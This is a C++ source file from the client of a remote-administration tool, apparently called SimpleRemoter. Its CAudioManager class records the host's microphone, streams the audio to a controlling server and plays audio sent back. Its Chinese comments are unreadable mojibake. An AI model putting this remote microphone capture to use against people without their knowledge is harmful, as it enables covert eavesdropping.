SimpleRemoter/client/AudioManager.cpp

// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "AudioManager.h"
#include "Common.h"
#include <Mmsystem.h>
#include <IOSTREAM>


using namespace std;

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
	printf("new CAudioManager %x\n", this);

	m_bIsWorking = FALSE;
	m_AudioObject = NULL;

	if (Initialize()==FALSE)
	{
		return;
	}

	BYTE	bToken = TOKEN_AUDIO_START;
	m_ClientObject->OnServerSending((char*)&bToken, 1);

	WaitForDialogOpen();    //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	szPacket = NULL;

	m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
		(LPVOID)this, 0, NULL);
}


VOID  CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
	switch(szBuffer[0])
	{
	case COMMAND_NEXT:
		{
			if (1 == ulLength)
				NotifyDialogIsOpen();
			break;
		}
	default:
		{
			m_AudioObject->PlayBuffer(szBuffer, ulLength);
			break;
		}
	}
}

DWORD CAudioManager::WorkThread(LPVOID lParam)   //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
	CAudioManager *This = (CAudioManager *)lParam;
	while (This->m_bIsWorking)
	{
		if(!This->SendRecordBuffer())
			Sleep(50);
	}

	cout<<"CAudioManager WorkThread end\n";

	return 0;
}

BOOL CAudioManager::SendRecordBuffer()
{	
	DWORD	dwBufferSize = 0;
	BOOL	dwReturn = 0;
	//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
	LPBYTE	szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
	if (szBuffer == NULL)
		return 0;
	//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
	szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
	//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
	szPacket[0] = TOKEN_AUDIO_DATA;     //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
	//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
	memcpy(szPacket + 1, szBuffer, dwBufferSize);
	szPacket[dwBufferSize] = 0;
	//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
	if (dwBufferSize > 0)
	{
		dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);  	
	}
	return dwReturn;	
}

CAudioManager::~CAudioManager()
{
	m_bIsWorking = FALSE;                            //<2F>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
	WaitForSingleObject(m_hWorkThread, INFINITE);    //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
	if (m_hWorkThread)
		CloseHandle(m_hWorkThread);

	if (m_AudioObject!=NULL)
	{
		delete m_AudioObject;
		m_AudioObject = NULL;
	}
	if (szPacket)
	{
		delete [] szPacket;
		szPacket = NULL;
	}
	printf("~CAudioManager %x\n", this);
}

//USB  
BOOL CAudioManager::Initialize()
{
	if (!waveInGetNumDevs())   //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>Ŀ  ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
		return FALSE;

	// SYS    SYS P	
	// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
	if (m_bIsWorking==TRUE)
	{
		return FALSE;
	}

	m_AudioObject = new CAudio;  //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

	m_bIsWorking = TRUE;
	return TRUE;
}